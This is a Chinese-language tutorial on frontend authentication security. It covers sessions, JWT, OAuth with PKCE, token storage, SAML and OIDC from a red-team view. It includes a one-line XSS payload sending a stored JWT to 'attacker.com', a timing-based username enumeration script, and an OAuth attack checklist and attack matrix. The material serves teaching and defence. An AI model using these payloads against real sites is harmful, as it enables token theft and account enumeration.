目录
一、前端认证机制概览
认证流程全景
用户 → 登录页面 → 提交凭证 → 服务器验证 → 返回Token/Session
↓
后续请求 ← 浏览器存储 ← Cookie/Storage
↓
附带凭证 → 服务器识别身份
前端需要关注的安全点
| 环节 | 安全关注 |
|---|
| 登录表单 | 是否HTTPS、是否有暴力破解防护 |
| Token传输 | 是否HttpOnly、Secure |
| Token存储 | Cookie vs localStorage vs 内存 |
| Token使用 | 自动附带 vs 手动添加 |
| Token刷新 | Refresh Token的安全性 |
| 退出登录 | 是否真正清除凭证 |
二、Cookie-Session认证
标准流程
1. 用户POST /login {user, pass}
2. 服务器验证 → 创建Session → 返回Set-Cookie
Set-Cookie: session_id=abc123; HttpOnly; Secure; SameSite=Strict; Path=/
3. 后续请求浏览器自动携带 Cookie: session_id=abc123
4. 服务器查Session → 确认身份
5. 退出 → 服务器销毁Session + Set-Cookie过期
前端安全相关
<!-- 登录表单 -->
<form action="/login" method="POST" autocomplete="off">
<input type="text" name="username" autocomplete="username">
<input type="password" name="password" autocomplete="current-password">
<input type="hidden" name="csrf_token" value="...">
<button type="submit">登录</button>
</form>
红队关注:
autocomplete="off" 可能被浏览器忽略
- 隐藏的CSRF Token是否可预测
- 登录失败的错误消息是否泄露用户存在性
- 是否有速率限制(可被暴力破解)
三、JWT Token认证
JWT结构
header.payload.signature
header: {"alg": "HS256", "typ": "JWT"}
payload: {"sub": "123", "name": "admin", "iat": 1516239022}
signature: HMACSHA256(base64UrlEncode(header) + "." + base64UrlEncode(payload), secret)
前端JWT处理
// 登录成功后
const response = await fetch('/api/login', {
method: 'POST',
body: JSON.stringify({ username, password }),
});
const { token } = await response.json();
// 存储Token(三种方式)
localStorage.setItem('jwt', token); // 方式1:localStorage
sessionStorage.setItem('jwt', token); // 方式2:sessionStorage
// 方式3:内存变量(最安全但刷新丢失)
let jwtToken = token;
// 发送Token
fetch('/api/data', {
headers: {
'Authorization': `Bearer ${jwtToken}`,
},
});
JWT前端攻击面
// 攻击面1:XSS窃取localStorage中的JWT
fetch('https://attacker.com/steal?t=' + localStorage.getItem('jwt'));
// 攻击面2:未验证JWT签名(如果前端自己验证)
// 前端验证JWT是可选的——真正的验证在服务器
// 但如果前端代码信任JWT的payload做权限判断 → 可篡改
// 攻击面3:JWT泄露在URL中
// https://app.com/reset-password?token=eyJhbGciOi...
// JWT出现在URL中 → 浏览器历史、Referer头会泄露
四、OAuth 2.0 + OIDC前端流程
Authorization Code + PKCE (SPA推荐)
1. 用户点击"用Google登录"
2. 前端生成 code_verifier + code_challenge
3. 重定向到 Google 授权页
GET /authorize?client_id=xxx&redirect_uri=https://app.com/callback
&response_type=code&code_challenge=xxx&state=random123
4. 用户授权后,Google重定向回
https://app.com/callback?code=abc123&state=random123
5. 前端验证state(防CSRF)
6. 前端POST /token {code, code_verifier}
7. 返回 Access Token + ID Token + Refresh Token
8. 前端存储Token
OAuth 2.0安全问题
| 问题 | 说明 | 防御 |
|---|
| CSRF (state参数) | 攻击者绑定自己的OAuth账号 | state随机值 |
| redirect_uri验证 | 重定向到攻击者控制的URL | 严格白名单 |
| Implicit Flow | Token在URL fragment(不安全) | 改用Auth Code + PKCE |
| Token泄露 | Access Token在JS中 | 控制Token生命周期 |
| 账号绑定 | 绕过现有账号的OAuth绑定 | 确认已有账号身份 |
红队OAuth攻击测试
1. 修改 redirect_uri → 检查是否接受任意值
2. 移除 state参数 → 检查是否有CSRF保护
3. 尝试 Implicit Flow → 看是否仍支持
4. 使用较小的 code_challenge → 暴力破解
5. 重放授权码 (code reuse) → 检查code是否一次性
五、Token存储位置的安全分析
存储方案对比
| 方案 | XSS窃取 | CSRF | 自动附带 | 推荐 |
|---|
| Cookie (HttpOnly + Secure + SameSite) | ✗ | ✓ | ✓ | ✓ |
| localStorage | ✓ | ✓ | ✗ | ✗ |
| sessionStorage | ✓ (同标签页) | ✓ | ✗ | △ |
| 内存变量 (redux/vuex) | △ | ✓ | ✗ | △ |
| BFF (Backend For Frontend) | ✗ | ✓ | ✗ | ✓ |
推荐方案:BFF模式
浏览器 ←→ BFF(同源后端) ←→ API服务
1. 登录凭证存在BFF的Cookie (HttpOnly, Secure, SameSite)
2. BFF持有实际的API Token(不暴露给前端)
3. 前端调用BFF接口,BFF代理转发到API
4. XSS在浏览器上无法窃取真实API Token
5. Cookie的SameSite防御CSRF
六、登录表单安全
登录安全机制
<!-- 安全的登录表单 -->
<form action="/login" method="POST">
<!-- CSRF 保护 -->
<input type="hidden" name="csrf_token" value="random123">
<!-- 防止自动填充凭据(但现代浏览器可能忽略) -->
<input type="text" name="username" autocomplete="off">
<input type="password" name="password" autocomplete="off">
<!-- 提交按钮 -->
<button type="submit">登录</button>
</form>
红队登录测试清单
通过时序侧信道枚举用户
# 检查登录响应时间的差异
import time, requests
for username in wordlist:
start = time.time()
r = requests.post('https://target.com/login',
data={'username': username, 'password': 'wrong'})
elapsed = time.time() - start
# 无效用户 vs 有效用户+错误密码的响应时间可能不同
if elapsed > 0.5: # 假设有效用户会触发更复杂的密码验证
print(f"[+] User exists: {username}")
七、单点登录 (SSO) 安全
SAML SSO流程
1. 用户访问 SP(Service Provider)
2. SP生成 SAML Request → 重定向到 IDP(Identity Provider)
3. IDP验证用户 → 生成 SAML Response (含断言)
4. 用户浏览器POST SAML Response到 SP的ACS URL
5. SP验证签名 → 提取身份 → 创建本地Session
SAML前端攻击面
<!-- SAML Response在浏览器中传递 → 可被中间人/XSS操作 -->
<!-- 1. XML Signature Wrapping -->
<!-- 攻击者修改断言但保留原始签名 → 签名验证逻辑漏洞 -->
<!-- 2. SAML Response中Token泄露 -->
<!-- 如果Response含敏感数据 → URL/表单字段中可能泄露 -->
<!-- 3. ACS URL验证缺失 -->
<!-- 攻击者指定自己的ACS → 获取SAML断言 -->
OpenID Connect (OIDC) 前端安全
// OIDC = OAuth 2.0 + 身份认证层
// UserInfo端点返回用户信息
fetch('https://idp.example.com/userinfo', {
headers: { 'Authorization': `Bearer ${accessToken}` }
}).then(r => r.json());
// 攻击面:
// 1. ID Token验证不严格(忽略签名/过期时间)
// 2. nonce不验证 → 重放攻击
// 3. at_hash验证缺失 → Token篡改
八、红队视角总结
认证攻击矩阵
| 攻击 | 目标 | 必要条件 |
|---|
| 暴力破解 | 登录接口 | 无速率限制 |
| 用户名枚举 | 错误消息/时序 | 差异化响应 |
| 登录CSRF | 绑定账号 | 无CSRF Token |
| XSS窃取Token | localStorage中JWT | XSS漏洞 |
| Session Fixation | URL传Session ID | 登录后不换Session ID |
| JWT none算法 | 服务器接受alg:none | 签名验证不严格 |
| OAuth redirect_uri | 授权码劫持 | redirect_uri验证弱 |
| Refresh Token滥用 | 获取长期访问 | Refresh Token泄露 |
检测脚本
# 检查登录页安全头
curl -sI https://target.com/login | grep -iE 'set-cookie|strict-transport'
# Cookie安全检查
# 查看是否有 HttpOnly, Secure, SameSite
# JWT检查
jwt=$(echo -n 'eyJ...' | cut -d. -f1-2)
echo $jwt | base64 -d # 看payload(无需签名)
# 检查 exp, nbf, aud, iss 等声明
返回 前端基础总目录